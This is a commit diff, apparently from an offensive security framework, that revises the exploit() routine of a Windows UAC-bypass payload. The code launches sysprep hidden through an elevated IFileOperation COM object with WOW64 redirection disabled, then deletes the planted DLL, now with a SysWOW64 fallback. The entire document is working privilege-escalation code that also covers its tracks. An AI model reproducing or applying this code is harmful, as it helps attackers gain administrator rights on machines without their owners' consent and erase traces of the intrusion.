Delete correctly

Author: Meatballs1

data/post/bypassuac-x64.dll

@@ -54,8 +54,6 @@ void exploit()
 	wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
 	wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
 
-
-
 	if (CoInitialize(NULL) == S_OK)
 	{	
 		if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
@@ -81,34 +79,30 @@ void exploit()
 								shinfo.lpDirectory = szElevDir;
 								shinfo.nShow = SW_HIDE;
 
-								// Only enable redirection for the process execution.
 								Wow64DisableWow64FsRedirection(&OldValue);
 								if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
 								{
 									WaitForSingleObject(shinfo.hProcess, 10000);
 									CloseHandle(shinfo.hProcess);
 								}
-								Wow64RevertWow64FsRedirection(OldValue);
 
 								if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
 								{
 									if (0 != pSHIDelete)
 									{
 										if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
 										{
+                      pFileOp->PerformOperations();
 											// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
 											// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
 											// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
-											if (!pFileOp->PerformOperations())
+											if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
 											{
-												if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
+												if (0 != pSHIDelete)
 												{
-													if (0 != pSHIDelete)
+													if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
 													{
-														if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
-														{
-															pFileOp->PerformOperations();
-														}
+														pFileOp->PerformOperations();
 													}
 												}
 											}
@@ -122,4 +116,4 @@ void exploit()
 			}
 		}
 	}
-}
+}